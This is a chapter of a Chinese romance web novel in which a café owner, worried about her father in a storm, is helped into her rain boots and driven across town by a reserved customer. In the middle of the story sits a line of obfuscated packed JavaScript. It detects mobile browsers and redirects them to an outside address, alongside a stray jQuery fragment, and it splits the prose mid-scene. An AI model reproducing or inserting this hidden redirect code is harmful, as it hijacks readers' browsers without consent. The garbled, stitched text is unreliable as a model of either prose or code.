乔宝莎在洗碗。
水龙头被开到最大，不锈钢水池被泄洪一样的水流敲得哐当作响，整个早餐店仿佛都浸没在深海之中。
门外是密不透风的大雨，门内是刻意制造的嘈杂，从此起彼伏地浪声里蔓延出忧郁的蓝调时刻。
佘逸打开手机，晚18:32，航班助手告诉她，再三十分钟她需要出发前往机场。
大雨和日落时分交叠，本就灰霭的天色转变成负片。
店里没有灯，很快陷入了幽蓝色阴影之中。
“拦路雨偏似雪花……”
《富士山下》恰到时宜地响起，为满室低落的氛围增添了一点滤片，陈奕迅低沉的嗓音总感觉在诉说着什么。
“喂？爸爸，嗯，我在店里，你到哪里了？”
“……要不等雨不落了再回，天都擦黑了，不安全嘛……”
乔宝莎从后厨急急地跑出来，掐断了电铃，两只手拢着手机听电话。
“好嘛，那我出来接你……我一个人没问题，别再拿我当小孩子了爸爸……”
“哎呀！你不管嘛，我！”
一句话还未出口，那边就已经挂断了电话，乔宝莎马上再拨过去，但久久都无人接通，她立在原地，影子扑倒在水磨石地板上。
“……”
佘逸不擅长应对他人的情绪，尤其是对“无可奈何”这四个字，就好似对着旧屋里母亲爱好的陈设，一层层蕾丝的罩布覆盖了目之所及的所有电器，你明白她的爱，但你和电器没办法讲话。
面对乔宝莎的无可奈何，佘逸只能报以关切的沉默。
“总是这样要人挂心，又犟，老说不听，以后看谁还管你！”
乔宝莎闷闷地将手机丢到桌上，在堂子里怒冲冲地走来走去，被桌腿绊了个踉跄。
走到餐柜旁发现还是气不过，又回来重重踢了桌子一脚，桌椅随即扭打成一团。
室内一片狼藉，冲这些东西撒气个什么劲，还要费力气收拾。
但乔宝莎没动，她杵着头跟自己过不去。
“嘎吱——”
佘逸起身时椅子拖拽地面的声音打破了僵局。
“不好意思啊姐，我不是冲你，就是被我爸气急了。”
“没事，理解。”
佘逸弯腰帮忙收拾，被乔宝莎摁住了，她面上有些讪讪的，双手齐下，飞快地把地上矮的倒的板凳扶起来。
“姐对不住啊，我得出门一趟……”
“雨下得这么大，我爸他又非要回来，店里面又不急这一会……他关节时常不好，眼睛近两年也逐渐看不清了，晚上天又黑……”
“没事，我等会就走。”
“别啊，我不关门的姐，你就待在店里没事的，”乔宝莎怕佘逸起了误会，赶忙留她，“附近都是老街坊，晚上也敞敞亮亮的，停电也不怕什么。”
“就……呼……就待在这呗，嗨呀累死我了。”
乔宝莎一面防着佘逸要走，一面翻箱倒柜找出一把印有某某驾校的银灰色大伞，转头看了一眼雨势。
天已经全黑了，唯有墙上挂着的一只白炽灯还亮着，不知道是什么原因让它幸免于难。
雨渐渐小起来，只有灯照见的地方能看见飘飞的雨丝，晚风姗姗来迟。
“你就……呼……安心等会，等雨停了，差不多了，收拾收拾再出发，不多安逸的。”
她又气喘吁吁地找来雨靴，金鸡独立站在门边蹬腿，却一直穿不上，干脆一屁股坐在地上，掰开鞋硬塞。
乔宝莎拽着鞋沿的手用力到发白，可这东西铁了心跟她唱擂，不论她怎么塞，始终剩半截脚掌露在外面。
“哎呀！全给我对着干来了，他m……”
喉头卡着一句脏话骂不出来，她一口气上来，打算扔开鞋不穿了，脚却卡在半道拔不出来。
“嗯嗯嗯……”
乔宝莎把自己变成了发动机，胸腔嗡嗡发作，后背蓄出一层毛汗，呼吸鼓动在耳边，仿佛那里揣着她肋间的横膈膜。
突然，门窗毫无征兆地开始剧烈颤抖，砖与墙的缝隙里挤出尖锐的哨音。
“呜——呜呜——”
一阵大风吹倒了黑夜，轰然垮塌到野放的电瓶车身上——长达数秒的白昼，刺耳的警报声带来了一个惊雷。
“轰——隆——”
闪电是最戏谑的镁光灯，定格住满室的狼藉，散乱的人和散乱的鞋子。
惨淡的白光一层一层从墙上掠过，停了电的屋子变成一个光怪陆离的隧道，
“不要急。”
佘逸的手轻轻握住乔宝莎脚腕。
她的声音隔离开一切外扰的阻力，穿过喧闹不止的风雨，清晰地到达乔宝莎耳边。
“不要急。”
佘逸蹲身下来，指骨分明的手掌住那双掉皮的塑胶雨靴，扭了扭，发现是脚背的接缝做得太窄，其他的部分都相当的肥大，只需要卡过接缝处就可以了。
她找准发力点，把雨靴固定在地上：“你往下踩。”
“没事的姐，我自己来就好了。”
“没事。”
“你站起来，对，往下踩。”
“鞋子太久没穿可能缩胶了，是不太好穿。”
“嗯，换这只。”
“好了。”
“谢谢姐，实在对不起啊，今天又是停电又是这那的，真是麻烦你了……”
“我刚好也要走了，顺路送你，”佘逸扫了了200元到店里的支付宝上，“请问店里有没有充电宝，两万毫安以下的？”
“有的姐，给，你路上注意安全。”
“所以……地址是？”
“啊？”
乔宝莎猛地抬头，一看就是在走神，握着充电宝把伞递给了佘逸。
佘逸看到她直愣愣的眼神，有些忍俊不禁，顺手接过伞撑起来，又重复了一遍刚才的话。
“不用不用，我自己过去就好，姐你不是要赶飞机吗？别耽误你事儿。”
“我开车来的，反正都要出城，现在还早。”
“没关系的姐，又不远，走路也花不了多久，我自己去就行。”
“既然不远，那就是顺路，县里又不大，没上高速之前都顺路。”
“行！”
到这份上，乔宝莎也不扭捏，拉了卷帘门，跟着佘逸出了居民楼，路上才发现还捏着一个充电宝，忙不迭递给佘逸。
隔栋之后就有电了，星星点点的暖光从楼房上的窗格子里漏出来，又被相互纠缠的电线切分成凌乱的网格。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296933|198575||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里仿佛从建设之初就被按下了暂停键，一切老的旧的横生出去，在小县城割裂的发展中显得像新衣上一块碍眼的补丁。
乔宝莎越端详越心里不得劲，越来越生出一种异样的渴望。
发展越快……
越有可能当拆二代。
她断定等长到她爸一半年纪的时候，会被市政“无情”地赶出家门，然后拥有一笔冰冷的巨款。
乔宝莎到小区门口发现了梦想的端倪，黄桷树下的坡道上停了一辆大G。
“嗯！！”
谁！谁的车？咱小区里有人脱离群众奔向富裕了？拆迁的通知下放到业主群了？
乔宝莎撇着眼睛闷头走，边走边留头，小城市里大G可不常见。
AUV，这车停得可够骚包的，车胎严丝合缝地卡在了一道豁口上，那本来有个防止车辆乱停的水泥墩子，不知被谁给“踹了”。
“哇呜——”
大G车灯回应似的闪了闪。
莫？
佘逸目睹了乔宝莎脸上循序渐进的表情，从震惊到迷惑再到玩味，边目移边“啧啧”咂嘴，最后是难以遮掩的仇富。
表演富有层次，生动形象地表达了作者的思乡之情，可见生活果然是对艺术的加工。
“走过了。”
佘逸眼见她脸上一阵红橙黄绿青蓝紫，对着车看了又看，但就是往前走，都快创上树了，不得不出声提醒。
“啊？”
？？过哪了？哪过了？
乔宝莎眼睁睁看着佘逸长腿一跨，钻进了大G的驾驶座，发动引擎。
！
！！
“……姐你停车技术蛮好的哈，哈哈。”
“还……行。”
“那什么，感觉这车它……不太符合姐的风格，是我刻板印象了，哈哈……哈。”
“没，车是朋友的。”
“嗷嗷，害，我说呢，这车就不太像女孩开的。”
“……朋友也是女的。”
“……”
“不好意思，我不太会聊天。”
“没，没事……”
“上来吧。”
“好的。”
乔宝莎顶着一张灰白的面庞，视死如归地往前一蹿，飞速拉开车门，爬上大G的超高底盘，关车门，扣上安全带。
老天奶，这个世界上多了一个开屎壳郎色加金属铆钉越野车的女孩。
“好了吗？”
“嗯嗯，好了好了。”
想到自己的所有忙乱都在佘逸的注视中，乔宝莎已经把自己下半辈子的规划都想明白了。
视野的骤然抬高让她有点不太适应，双手紧紧扣着安全带，低头躲过车窗上脸红的倒影。
“地址？”
“啊？嗷嗷嗷，我看看……东汽广场拦星路178号，有个小李维修。”
佘逸确认了一遍导航，松手刹，倒车。
车载没用香薰，也没有广播，只有一台随着车轮起伏的老旧节奏器，指针“嘀嗒嘀嗒”从坑道的剧烈缓缓驶向大路的平静。
乔宝莎在接下来的行程中都不敢看佘逸，只是扭头朝向车窗。
直到窗玻璃上雾起了一团毛绒的潮湿。
雨落在车顶叮叮当。